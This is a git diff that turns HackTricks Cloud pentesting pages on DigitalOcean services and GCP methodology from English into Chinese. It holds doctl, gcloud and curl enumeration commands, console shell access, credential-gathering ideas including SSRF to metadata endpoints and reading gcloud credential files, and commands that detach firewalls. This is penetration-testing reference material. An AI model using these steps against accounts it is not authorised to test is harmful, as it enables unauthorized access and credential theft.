创建数据库时,您可以选择将其配置为 **可从公共网络访问**,或仅从 **VPC** 内部访问。此外,它要求您 **将可以访问它的 IP 列入白名单**(您的 IPv4 可以是其中之一)。
|
||||
|
||||
**主机**、**端口**、**数据库名**、**用户名** 和 **密码** 在 **控制台** 中显示。您甚至可以下载 AD 证书以安全连接。
|
||||
```bash
|
||||
sql -h db-postgresql-ams3-90864-do-user-2700959-0.b.db.ondigitalocean.com -U doadmin -d defaultdb -p 25060
|
||||
```
|
||||
|
||||
### Enumeration
|
||||
|
||||
### 枚举
|
||||
```bash
|
||||
# Databse clusters
|
||||
doctl databases list
|
||||
@@ -39,9 +36,4 @@ doctl databases backups <db-id> # List backups of DB
|
||||
# Pools
|
||||
doctl databases pool list <db-id> # List pools of DB
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,47 +2,46 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## 基本信息
|
||||
|
||||
In DigitalOcean, a "droplet" is a v**irtual private server (VPS)** that can be used to host websites and applications. A droplet is a **pre-configured package of computing resources**, including a certain amount of CPU, memory, and storage, that can be quickly and easily deployed on DigitalOcean's cloud infrastructure.
|
||||
在DigitalOcean中,“droplet”是一个**虚拟私人服务器 (VPS)**,可用于托管网站和应用程序。一个droplet是一个**预配置的计算资源包**,包括一定量的CPU、内存和存储,可以快速轻松地部署在DigitalOcean的云基础设施上。
|
||||
|
||||
You can select from **common OS**, to **applications** already running (such as WordPress, cPanel, Laravel...), or even upload and use **your own images**.
|
||||
您可以选择**常见操作系统**,**已经运行的应用程序**(如WordPress、cPanel、Laravel等),甚至上传并使用**您自己的镜像**。
|
||||
|
||||
Droplets support **User data scripts**.
|
||||
Droplets支持**用户数据脚本**。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Difference between a snapshot and a backup</summary>
|
||||
<summary>快照与备份的区别</summary>
|
||||
|
||||
In DigitalOcean, a snapshot is a point-in-time copy of a Droplet's disk. It captures the state of the Droplet's disk at the time the snapshot was taken, including the operating system, installed applications, and all the files and data on the disk.
|
||||
在DigitalOcean中,快照是Droplet磁盘的时间点副本。它捕获了快照拍摄时Droplet磁盘的状态,包括操作系统、已安装的应用程序以及磁盘上的所有文件和数据。
|
||||
|
||||
Snapshots can be used to create new Droplets with the same configuration as the original Droplet, or to restore a Droplet to the state it was in when the snapshot was taken. Snapshots are stored on DigitalOcean's object storage service, and they are incremental, meaning that only the changes since the last snapshot are stored. This makes them efficient to use and cost-effective to store.
|
||||
快照可用于创建与原始Droplet相同配置的新Droplet,或将Droplet恢复到快照拍摄时的状态。快照存储在DigitalOcean的对象存储服务中,并且是增量的,这意味着仅存储自上一个快照以来的更改。这使得它们在使用时高效且存储成本低。
|
||||
|
||||
On the other hand, a backup is a complete copy of a Droplet, including the operating system, installed applications, files, and data, as well as the Droplet's settings and metadata. Backups are typically performed on a regular schedule, and they capture the entire state of a Droplet at a specific point in time.
|
||||
另一方面,备份是Droplet的完整副本,包括操作系统、已安装的应用程序、文件和数据,以及Droplet的设置和元数据。备份通常按定期计划执行,并在特定时间点捕获Droplet的整个状态。
|
||||
|
||||
Unlike snapshots, backups are stored in a compressed and encrypted format, and they are transferred off of DigitalOcean's infrastructure to a remote location for safekeeping. This makes backups ideal for disaster recovery, as they provide a complete copy of a Droplet that can be restored in the event of data loss or other catastrophic events.
|
||||
与快照不同,备份以压缩和加密格式存储,并且被转移到DigitalOcean基础设施之外的远程位置以进行安全保存。这使得备份非常适合灾难恢复,因为它们提供了可以在数据丢失或其他灾难事件发生时恢复的Droplet的完整副本。
|
||||
|
||||
In summary, snapshots are point-in-time copies of a Droplet's disk, while backups are complete copies of a Droplet, including its settings and metadata. Snapshots are stored on DigitalOcean's object storage service, while backups are transferred off of DigitalOcean's infrastructure to a remote location. Both snapshots and backups can be used to restore a Droplet, but snapshots are more efficient to use and store, while backups provide a more comprehensive backup solution for disaster recovery.
|
||||
总之,快照是Droplet磁盘的时间点副本,而备份是Droplet的完整副本,包括其设置和元数据。快照存储在DigitalOcean的对象存储服务中,而备份则被转移到DigitalOcean基础设施之外的远程位置。快照和备份都可以用于恢复Droplet,但快照在使用和存储上更高效,而备份则为灾难恢复提供了更全面的备份解决方案。
|
||||
|
||||
</details>
|
||||
|
||||
### Authentication
|
||||
### 认证
|
||||
|
||||
For authentication it's possible to **enable SSH** through username and **password** (password defined when the droplet is created). Or **select one or more of the uploaded SSH keys**.
|
||||
对于认证,可以通过用户名和**密码**(在创建droplet时定义的密码)**启用SSH**。或者**选择一个或多个上传的SSH密钥**。
|
||||
|
||||
### Firewall
|
||||
### 防火墙
|
||||
|
||||
> [!CAUTION]
|
||||
> By default **droplets are created WITHOUT A FIREWALL** (not like in oder clouds such as AWS or GCP). So if you want DO to protect the ports of the droplet (VM), you need to **create it and attach it**.
|
||||
> 默认情况下,**droplets是在没有防火墙的情况下创建的**(与AWS或GCP等其他云不同)。因此,如果您希望DO保护droplet(VM)的端口,您需要**创建并附加它**。
|
||||
|
||||
More info in:
|
||||
更多信息请参见:
|
||||
|
||||
{{#ref}}
|
||||
do-networking.md
|
||||
{{#endref}}
|
||||
|
||||
### Enumeration
|
||||
|
||||
### 枚举
|
||||
```bash
|
||||
# VMs
|
||||
doctl compute droplet list # IPs will appear here
|
||||
@@ -68,18 +67,13 @@ doctl compute certificate list
|
||||
# Snapshots
|
||||
doctl compute snapshot list
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> **Droplets have metadata endpoints**, but in DO there **isn't IAM** or things such as role from AWS or service accounts from GCP.
|
||||
> **Droplets 有元数据端点**,但在 DO 中 **没有 IAM** 或类似于 AWS 的角色或 GCP 的服务账户。
|
||||
|
||||
### RCE
|
||||
|
||||
With access to the console it's possible to **get a shell inside the droplet** accessing the URL: **`https://cloud.digitalocean.com/droplets/<droplet-id>/terminal/ui/`**
|
||||
通过访问控制台,可以 **在 droplet 内获取 shell**,访问 URL: **`https://cloud.digitalocean.com/droplets/<droplet-id>/terminal/ui/`**
|
||||
|
||||
It's also possible to launch a **recovery console** to run commands inside the host accessing a recovery console in **`https://cloud.digitalocean.com/droplets/<droplet-id>/console`**(but in this case you will need to know the root password).
|
||||
还可以启动 **恢复控制台**,在主机内运行命令,访问 **`https://cloud.digitalocean.com/droplets/<droplet-id>/console`**(但在这种情况下,您需要知道 root 密码)。
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,39 +2,34 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## 基本信息
|
||||
|
||||
DigitalOcean Functions, also known as "DO Functions," is a serverless computing platform that lets you **run code without having to worry about the underlying infrastructure**. With DO Functions, you can write and deploy your code as "functions" that can be **triggered** via **API**, **HTTP requests** (if enabled) or **cron**. These functions are executed in a fully managed environment, so you **don't need to worry** about scaling, security, or maintenance.
|
||||
DigitalOcean Functions,也称为“DO Functions”,是一个无服务器计算平台,让您**运行代码而无需担心底层基础设施**。使用 DO Functions,您可以将代码编写和部署为可以通过**API**、**HTTP 请求**(如果启用)或**cron**触发的“函数”。这些函数在完全托管的环境中执行,因此您**无需担心**扩展、安全或维护。
|
||||
|
||||
In DO, to create a function first you need to **create a namespace** which will be **grouping functions**.\
|
||||
Inside the namespace you can then create a function.
|
||||
在 DO 中,首先需要**创建一个命名空间**,该命名空间将**分组函数**。\
|
||||
在命名空间内,您可以创建一个函数。
|
||||
|
||||
### Triggers
|
||||
|
||||
The way **to trigger a function via REST API** (always enabled, it's the method the cli uses) is by triggering a request with an **authentication token** like:
|
||||
### 触发器
|
||||
|
||||
通过 REST API **触发函数**(始终启用,这是 cli 使用的方法)的方法是通过带有**身份验证令牌**的请求触发,例如:
|
||||
```bash
|
||||
curl -X POST "https://faas-lon1-129376a7.doserverless.co/api/v1/namespaces/fn-c100c012-65bf-4040-1230-2183764b7c23/actions/functionname?blocking=true&result=true" \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Authorization: Basic MGU0NTczZGQtNjNiYS00MjZlLWI2YjctODk0N2MyYTA2NGQ4OkhwVEllQ2t4djNZN2x6YjJiRmFGc1FERXBySVlWa1lEbUxtRE1aRTludXA1UUNlU2VpV0ZGNjNqWnVhYVdrTFg="
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Authorization: Basic MGU0NTczZGQtNjNiYS00MjZlLWI2YjctODk0N2MyYTA2NGQ4OkhwVEllQ2t4djNZN2x6YjJiRmFGc1FERXBySVlWa1lEbUxtRE1aRTludXA1UUNlU2VpV0ZGNjNqWnVhYVdrTFg="
|
||||
```
|
||||
|
||||
To see how is the **`doctl`** cli tool getting this token (so you can replicate it), the **following command shows the complete network trace:**
|
||||
|
||||
要查看 **`doctl`** cli 工具是如何获取此令牌的(以便您可以复制它),**以下命令显示完整的网络跟踪:**
|
||||
```bash
|
||||
doctl serverless connect --trace
|
||||
```
|
||||
|
||||
**When HTTP trigger is enabled**, a web function can be invoked through these **HTTP methods GET, POST, PUT, PATCH, DELETE, HEAD and OPTIONS**.
|
||||
**当 HTTP 触发器启用时**,可以通过这些 **HTTP 方法 GET、POST、PUT、PATCH、DELETE、HEAD 和 OPTIONS** 调用 web 函数。
|
||||
|
||||
> [!CAUTION]
|
||||
> In DO functions, **environment variables cannot be encrypted** (at the time of this writing).\
|
||||
> I couldn't find any way to read them from the CLI but from the console it's straight forward.
|
||||
> 在 DO 函数中,**环境变量无法加密**(在撰写本文时)。\
|
||||
> 我找不到从 CLI 读取它们的方法,但从控制台读取非常简单。
|
||||
|
||||
**Functions URLs** look like this: `https://<random>.doserverless.co/api/v1/web/<namespace-id>/default/<function-name>`
|
||||
|
||||
### Enumeration
|
||||
**函数 URL** 看起来像这样: `https://<random>.doserverless.co/api/v1/web/<namespace-id>/default/<function-name>`
|
||||
|
||||
### 枚举
|
||||
```bash
|
||||
# Namespace
|
||||
doctl serverless namespaces list
|
||||
@@ -53,12 +48,7 @@ doctl serverless activations result <activation-id> # get only the response resu
|
||||
|
||||
# I couldn't find any way to get the env variables form the CLI
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> There **isn't metadata endpoint** from the Functions sandbox.
|
||||
> Functions 沙箱中 **没有元数据端点**。
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,22 +2,16 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## 基本信息
|
||||
|
||||
DigitalOcean Images are **pre-built operating system or application images** that can be used to create new Droplets (virtual machines) on DigitalOcean. They are similar to virtual machine templates, and they allow you to **quickly and easily create new Droplets with the operating system** and applications that you need.
|
||||
DigitalOcean Images 是 **预构建的操作系统或应用程序镜像**,可用于在 DigitalOcean 上创建新的 Droplets(虚拟机)。它们类似于虚拟机模板,允许您 **快速轻松地创建具有所需操作系统** 和应用程序的新 Droplets。
|
||||
|
||||
DigitalOcean provides a wide range of Images, including popular operating systems such as Ubuntu, CentOS, and FreeBSD, as well as pre-configured application Images such as LAMP, MEAN, and LEMP stacks. You can also create your own custom Images, or use Images from the community.
|
||||
DigitalOcean 提供了广泛的 Images,包括流行的操作系统,如 Ubuntu、CentOS 和 FreeBSD,以及预配置的应用程序 Images,如 LAMP、MEAN 和 LEMP 堆栈。您还可以创建自己的自定义 Images,或使用社区提供的 Images。
|
||||
|
||||
When you create a new Droplet on DigitalOcean, you can choose an Image to use as the basis for the Droplet. This will automatically install the operating system and any pre-installed applications on the new Droplet, so you can start using it right away. Images can also be used to create snapshots and backups of your Droplets, so you can easily create new Droplets from the same configuration in the future.
|
||||
当您在 DigitalOcean 上创建新的 Droplet 时,可以选择一个 Image 作为 Droplet 的基础。这将自动安装操作系统和任何预安装的应用程序在新的 Droplet 上,因此您可以立即开始使用它。Images 还可以用于创建 Droplets 的快照和备份,以便您将来可以轻松地从相同配置创建新的 Droplets。
|
||||
|
||||
### Enumeration
|
||||
|
||||
```
|
||||
doctl compute image list
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,19 +2,18 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## 基本信息
|
||||
|
||||
### DigitalOcean Kubernetes (DOKS)
|
||||
|
||||
DOKS is a managed Kubernetes service offered by DigitalOcean. The service is designed to **deploy and manage Kubernetes clusters on DigitalOcean's platform**. The key aspects of DOKS include:
|
||||
DOKS 是 DigitalOcean 提供的托管 Kubernetes 服务。该服务旨在 **在 DigitalOcean 平台上部署和管理 Kubernetes 集群**。DOKS 的关键特点包括:
|
||||
|
||||
1. **Ease of Management**: The requirement to set up and maintain the underlying infrastructure is eliminated, simplifying the management of Kubernetes clusters.
|
||||
2. **User-Friendly Interface**: It provides an intuitive interface that facilitates the creation and administration of clusters.
|
||||
3. **Integration with DigitalOcean Services**: It seamlessly integrates with other services provided by DigitalOcean, such as Load Balancers and Block Storage.
|
||||
4. **Automatic Updates and Upgrades**: The service includes the automatic updating and upgrading of clusters to ensure they are up-to-date.
|
||||
|
||||
### Connection
|
||||
1. **易于管理**:消除了设置和维护基础设施的要求,简化了 Kubernetes 集群的管理。
|
||||
2. **用户友好的界面**:提供直观的界面,便于集群的创建和管理。
|
||||
3. **与 DigitalOcean 服务的集成**:与 DigitalOcean 提供的其他服务(如负载均衡器和块存储)无缝集成。
|
||||
4. **自动更新和升级**:该服务包括集群的自动更新和升级,以确保其保持最新。
|
||||
|
||||
### 连接
|
||||
```bash
|
||||
# Generate kubeconfig from doctl
|
||||
doctl kubernetes cluster kubeconfig save <cluster-id>
|
||||
@@ -22,9 +21,7 @@ doctl kubernetes cluster kubeconfig save <cluster-id>
|
||||
# Use a kubeconfig file that you can download from the console
|
||||
kubectl --kubeconfig=/<pathtodirectory>/k8s-1-25-4-do-0-ams3-1670939911166-kubeconfig.yaml get nodes
|
||||
```
|
||||
|
||||
### Enumeration
|
||||
|
||||
### 枚举
|
||||
```bash
|
||||
# Get clusters
|
||||
doctl kubernetes cluster list
|
||||
@@ -35,9 +32,4 @@ doctl kubernetes cluster node-pool list <cluster-id>
|
||||
# Get DO resources used by the cluster
|
||||
doctl kubernetes cluster list-associated-resources <cluster-id>
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,48 +2,34 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### Domains
|
||||
|
||||
### 域名
|
||||
```bash
|
||||
doctl compute domain list
|
||||
doctl compute domain records list <domain>
|
||||
# You can also create records
|
||||
```
|
||||
|
||||
### Reserverd IPs
|
||||
|
||||
### 保留 IPs
|
||||
```bash
|
||||
doctl compute reserved-ip list
|
||||
doctl compute reserved-ip-action unassign <ip>
|
||||
```
|
||||
|
||||
### Load Balancers
|
||||
|
||||
### 负载均衡器
|
||||
```bash
|
||||
doctl compute load-balancer list
|
||||
doctl compute load-balancer remove-droplets <id> --droplet-ids 12,33
|
||||
doctl compute load-balancer add-forwarding-rules <id> --forwarding-rules entry_protocol:tcp,entry_port:3306,...
|
||||
```
|
||||
|
||||
### VPC
|
||||
|
||||
```
|
||||
doctl vpcs list
|
||||
```
|
||||
|
||||
### Firewall
|
||||
|
||||
> [!CAUTION]
|
||||
> By default **droplets are created WITHOUT A FIREWALL** (not like in oder clouds such as AWS or GCP). So if you want DO to protect the ports of the droplet (VM), you need to **create it and attach it**.
|
||||
|
||||
> 默认情况下,**droplets 是在没有防火墙的情况下创建的**(与 AWS 或 GCP 等其他云不同)。因此,如果您希望 DO 保护 droplet(虚拟机)的端口,您需要**创建并附加它**。
|
||||
```bash
|
||||
doctl compute firewall list
|
||||
doctl compute firewall list-by-droplet <droplet-id>
|
||||
doctl compute firewall remove-droplets <fw-id> --droplet-ids <droplet-id>
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,26 +2,20 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## 基本信息
|
||||
|
||||
> project is just a container for all the **services** (droplets, spaces, databases, kubernetes...) **running together inside of it**.\
|
||||
> For more info check:
|
||||
> 项目只是一个容器,包含所有的 **服务**(droplets, spaces, databases, kubernetes...) **在其中一起运行**。\
|
||||
> 更多信息请查看:
|
||||
|
||||
{{#ref}}
|
||||
../do-basic-information.md
|
||||
{{#endref}}
|
||||
|
||||
### Enumeration
|
||||
|
||||
It's possible to **enumerate all the projects a user have access to** and all the resources that are running inside a project very easily:
|
||||
### 枚举
|
||||
|
||||
可以 **轻松枚举用户有访问权限的所有项目** 以及在项目中运行的所有资源:
|
||||
```bash
|
||||
doctl projects list # Get projects
|
||||
doctl projects resources list <proj-id> # Get all the resources of a project
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,25 +2,24 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## 基本信息
|
||||
|
||||
DigitalOcean Spaces are **object storage services**. They allow users to **store and serve large amounts of data**, such as images and other files, in a scalable and cost-effective way. Spaces can be accessed via the DigitalOcean control panel, or using the DigitalOcean API, and are integrated with other DigitalOcean services such as Droplets (virtual private servers) and Load Balancers.
|
||||
DigitalOcean Spaces 是 **对象存储服务**。它们允许用户以可扩展和具有成本效益的方式 **存储和提供大量数据**,例如图像和其他文件。可以通过 DigitalOcean 控制面板或使用 DigitalOcean API 访问 Spaces,并与其他 DigitalOcean 服务(如 Droplets(虚拟专用服务器)和负载均衡器)集成。
|
||||
|
||||
### Access
|
||||
### 访问
|
||||
|
||||
Spaces can be **public** (anyone can access them from the Internet) or **private** (only authorised users). To access the files from a private space outside of the Control Panel, we need to generate an **access key** and **secret**. These are a pair of random tokens that serve as a **username** and **password** to grant access to your Space.
|
||||
Spaces 可以是 **公共的**(任何人都可以从互联网访问)或 **私有的**(仅授权用户)。要从控制面板外部访问私有空间中的文件,我们需要生成一个 **访问密钥** 和 **秘密**。这是一对随机令牌,作为 **用户名** 和 **密码** 用于授予对您的 Space 的访问权限。
|
||||
|
||||
A **URL of a space** looks like this: **`https://uniqbucketname.fra1.digitaloceanspaces.com/`**\
|
||||
Note the **region** as **subdomain**.
|
||||
**空间的 URL** 看起来像这样:**`https://uniqbucketname.fra1.digitaloceanspaces.com/`**\
|
||||
请注意 **区域** 作为 **子域名**。
|
||||
|
||||
Even if the **space** is **public**, **files** **inside** of it can be **private** (you will be able to access them only with credentials).
|
||||
即使 **空间** 是 **公共的**,其中的 **文件** 也可以是 **私有的**(您只能使用凭据访问它们)。
|
||||
|
||||
However, **even** if the file is **private**, from the console it's possible to share a file with a link such as `https://fra1.digitaloceanspaces.com/uniqbucketname/filename?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=DO00PL3RA373GBV4TRF7%2F20221213%2Ffra1%2Fs3%2Faws4_request&X-Amz-Date=20221213T121017Z&X-Amz-Expires=3600&X-Amz-SignedHeaders=host&X-Amz-Signature=6a183dbc42453a8d30d7cd2068b66aeb9ebc066123629d44a8108115def975bc` for a period of time:
|
||||
然而,**即使** 文件是 **私有的**,从控制台也可以通过链接共享文件,例如 `https://fra1.digitaloceanspaces.com/uniqbucketname/filename?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=DO00PL3RA373GBV4TRF7%2F20221213%2Ffra1%2Fs3%2Faws4_request&X-Amz-Date=20221213T121017Z&X-Amz-Expires=3600&X-Amz-SignedHeaders=host&X-Amz-Signature=6a183dbc42453a8d30d7cd2068b66aeb9ebc066123629d44a8108115def975bc` 在一段时间内:
|
||||
|
||||
<figure><img src="../../../images/image (277).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Enumeration
|
||||
|
||||
### 枚举
|
||||
```bash
|
||||
# Unauthenticated
|
||||
## Note how the region is specified in the endpoint
|
||||
@@ -42,9 +41,4 @@ aws s3 ls --endpoint=https://fra1.digitaloceanspaces.com s3://uniqbucketname
|
||||
|
||||
## It's also possible to generate authorized access to buckets from the API
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,18 +2,12 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## 基本信息
|
||||
|
||||
DigitalOcean volumes are **block storage** devices that can be **attached to and detached from Droplets**. Volumes are useful for **storing data** that needs to **persist** independently of the Droplet itself, such as databases or file storage. They can be resized, attached to multiple Droplets, and snapshot for backups.
|
||||
|
||||
### Enumeration
|
||||
DigitalOcean 卷是 **块存储** 设备,可以 **附加到和从 Droplets 中分离**。卷对于 **存储需要独立于 Droplet 本身持久化** 的数据非常有用,例如数据库或文件存储。它们可以调整大小,附加到多个 Droplets,并进行快照以备份。
|
||||
|
||||
### 枚举
|
||||
```
|
||||
compute volume list
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,60 +2,60 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## 基本信息
|
||||
|
||||
**Before start pentesting** a **GCP** environment, there are a few **basics things you need to know** about how it works to help you understand what you need to do, how to find misconfigurations and how to exploit them.
|
||||
**在开始对** GCP **环境进行渗透测试之前,您需要了解一些基本知识**,以帮助您理解需要做什么、如何查找错误配置以及如何利用它们。
|
||||
|
||||
Concepts such as **organization** hierarchy, **permissions** and other basic concepts are explained in:
|
||||
诸如 **组织** 层次结构、**权限** 和其他基本概念在以下内容中进行了说明:
|
||||
|
||||
{{#ref}}
|
||||
gcp-basic-information/
|
||||
{{#endref}}
|
||||
|
||||
## Labs to learn
|
||||
## 学习实验室
|
||||
|
||||
- [https://gcpgoat.joshuajebaraj.com/](https://gcpgoat.joshuajebaraj.com/)
|
||||
- [https://github.com/ine-labs/GCPGoat](https://github.com/ine-labs/GCPGoat)
|
||||
- [https://github.com/lacioffi/GCP-pentest-lab/](https://github.com/lacioffi/GCP-pentest-lab/)
|
||||
- [https://github.com/carlospolop/gcp_privesc_scripts](https://github.com/carlospolop/gcp_privesc_scripts)
|
||||
|
||||
## GCP Pentester/Red Team Methodology
|
||||
## GCP 渗透测试者/红队方法论
|
||||
|
||||
In order to audit a GCP environment it's very important to know: which **services are being used**, what is **being exposed**, who has **access** to what, and how are internal GCP services an **external services** connected.
|
||||
为了审计 GCP 环境,了解以下内容非常重要:使用了哪些 **服务**,暴露了什么,谁有 **访问** 权限,以及内部 GCP 服务与 **外部服务** 是如何连接的。
|
||||
|
||||
From a Red Team point of view, the **first step to compromise a GCP environment** is to manage to obtain some **credentials**. Here you have some ideas on how to do that:
|
||||
从红队的角度来看,**攻陷 GCP 环境的第一步**是设法获取一些 **凭证**。以下是一些获取凭证的想法:
|
||||
|
||||
- **Leaks** in github (or similar) - OSINT
|
||||
- **Social** Engineering (Check the page [**Workspace Security**](../workspace-security/))
|
||||
- **Password** reuse (password leaks)
|
||||
- Vulnerabilities in GCP-Hosted Applications
|
||||
- [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) with access to metadata endpoint
|
||||
- **Local File Read**
|
||||
- `/home/USERNAME/.config/gcloud/*`
|
||||
- `C:\Users\USERNAME\.config\gcloud\*`
|
||||
- 3rd parties **breached**
|
||||
- **Internal** Employee
|
||||
- **泄露** 在 github(或类似平台)- OSINT
|
||||
- **社交** 工程(查看页面 [**Workspace Security**](../workspace-security/))
|
||||
- **密码** 重用(密码泄露)
|
||||
- GCP 托管应用程序中的漏洞
|
||||
- [**服务器端请求伪造**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) 访问元数据端点
|
||||
- **本地文件读取**
|
||||
- `/home/USERNAME/.config/gcloud/*`
|
||||
- `C:\Users\USERNAME\.config\gcloud\*`
|
||||
- 第三方 **泄露**
|
||||
- **内部** 员工
|
||||
|
||||
Or by **compromising an unauthenticated service** exposed:
|
||||
或者通过 **攻陷一个未认证的服务**:
|
||||
|
||||
{{#ref}}
|
||||
gcp-unauthenticated-enum-and-access/
|
||||
{{#endref}}
|
||||
|
||||
Or if you are doing a **review** you could just **ask for credentials** with these roles:
|
||||
或者如果您正在进行 **审查**,您可以直接 **请求凭证**,使用这些角色:
|
||||
|
||||
{{#ref}}
|
||||
gcp-permissions-for-a-pentest.md
|
||||
{{#endref}}
|
||||
|
||||
> [!NOTE]
|
||||
> After you have managed to obtain credentials, you need to know **to who do those creds belong**, and **what they have access to**, so you need to perform some basic enumeration:
|
||||
> 在您成功获取凭证后,您需要知道 **这些凭证属于谁**,以及 **他们可以访问什么**,因此您需要执行一些基本的枚举:
|
||||
|
||||
## Basic Enumeration
|
||||
## 基本枚举
|
||||
|
||||
### **SSRF**
|
||||
|
||||
For more information about how to **enumerate GCP metadata** check the following hacktricks page:
|
||||
有关如何 **枚举 GCP 元数据** 的更多信息,请查看以下 hacktricks 页面:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#6440
|
||||
@@ -63,8 +63,7 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou
|
||||
|
||||
### Whoami
|
||||
|
||||
In GCP you can try several options to try to guess who you are:
|
||||
|
||||
在 GCP 中,您可以尝试几种选项来猜测您是谁:
|
||||
```bash
|
||||
#If you are inside a compromise machine
|
||||
gcloud auth list
|
||||
@@ -74,50 +73,45 @@ gcloud auth print-identity-token #Get info from the token
|
||||
#If you compromised a metadata token or somehow found an OAuth token
|
||||
curl -H "Content-Type: application/x-www-form-urlencoded" -d "access_token=<token>" https://www.googleapis.com/oauth2/v1/tokeninfo
|
||||
```
|
||||
|
||||
You can also use the API endpoint `/userinfo` to get more info about the user:
|
||||
|
||||
您还可以使用 API 端点 `/userinfo` 获取有关用户的更多信息:
|
||||
```bash
|
||||
curl -H "Content-Type: application/x-www-form-urlencoded" -H "Authorization: OAuth $(gcloud auth print-access-token)" https://www.googleapis.com/oauth2/v1/userinfo
|
||||
|
||||
curl -H "Content-Type: application/x-www-form-urlencoded" -H "Authorization: OAuth <access_token>" https://www.googleapis.com/oauth2/v1/userinfo
|
||||
```
|
||||
|
||||
### Org Enumeration
|
||||
|
||||
### 组织枚举
|
||||
```bash
|
||||
# Get organizations
|
||||
gcloud organizations list #The DIRECTORY_CUSTOMER_ID is the Workspace ID
|
||||
gcloud resource-manager folders list --organization <org_number> # Get folders
|
||||
gcloud projects list # Get projects
|
||||
```
|
||||
|
||||
### Principals & IAM Enumeration
|
||||
|
||||
If you have enough permissions, **checking the privileges of each entity inside the GCP account** will help you understand what you and other identities can do and how to **escalate privileges**.
|
||||
如果您拥有足够的权限,**检查 GCP 账户内每个实体的权限**将帮助您了解您和其他身份可以做什么,以及如何**提升权限**。
|
||||
|
||||
If you don't have enough permissions to enumerate IAM, you can **steal brute-force them** to figure them out.\
|
||||
Check **how to do the numeration and brute-forcing** in:
|
||||
如果您没有足够的权限来枚举 IAM,您可以**通过暴力破解来获取**它们。\
|
||||
请查看**如何进行枚举和暴力破解**:
|
||||
|
||||
{{#ref}}
|
||||
gcp-services/gcp-iam-and-org-policies-enum.md
|
||||
{{#endref}}
|
||||
|
||||
> [!NOTE]
|
||||
> Now that you **have some information about your credentials** (and if you are a red team hopefully you **haven't been detected**). It's time to figure out which services are being used in the environment.\
|
||||
> In the following section you can check some ways to **enumerate some common services.**
|
||||
> 现在您**已经获得了一些关于您凭据的信息**(如果您是红队,希望您**没有被发现**)。是时候找出环境中正在使用哪些服务。\
|
||||
> 在接下来的部分中,您可以查看一些**枚举常见服务**的方法。
|
||||
|
||||
## Services Enumeration
|
||||
|
||||
GCP has an astonishing amount of services, in the following page you will find **basic information, enumeration** cheatsheets, how to **avoid detection**, obtain **persistence**, and other **post-exploitation** tricks about some of them:
|
||||
GCP 拥有惊人的服务数量,在以下页面中,您将找到**基本信息、枚举**备忘单,如何**避免检测**,获取**持久性**以及其他关于其中一些服务的**后期利用**技巧:
|
||||
|
||||
{{#ref}}
|
||||
gcp-services/
|
||||
{{#endref}}
|
||||
|
||||
Note that you **don't** need to perform all the work **manually**, below in this post you can find a **section about** [**automatic tools**](./#automatic-tools).
|
||||
请注意,您**不**需要**手动**执行所有工作,下面的帖子中您可以找到关于[**自动工具**](./#automatic-tools)的**部分**。
|
||||
|
||||
Moreover, in this stage you might discovered **more services exposed to unauthenticated users,** you might be able to exploit them:
|
||||
此外,在此阶段,您可能会发现**更多暴露给未认证用户的服务,**您可能能够利用它们:
|
||||
|
||||
{{#ref}}
|
||||
gcp-unauthenticated-enum-and-access/
|
||||
@@ -125,9 +119,9 @@ gcp-unauthenticated-enum-and-access/
|
||||
|
||||
## Privilege Escalation, Post Exploitation & Persistence
|
||||
|
||||
The most common way once you have obtained some cloud credentials or have compromised some service running inside a cloud is to **abuse misconfigured privileges** the compromised account may have. So, the first thing you should do is to enumerate your privileges.
|
||||
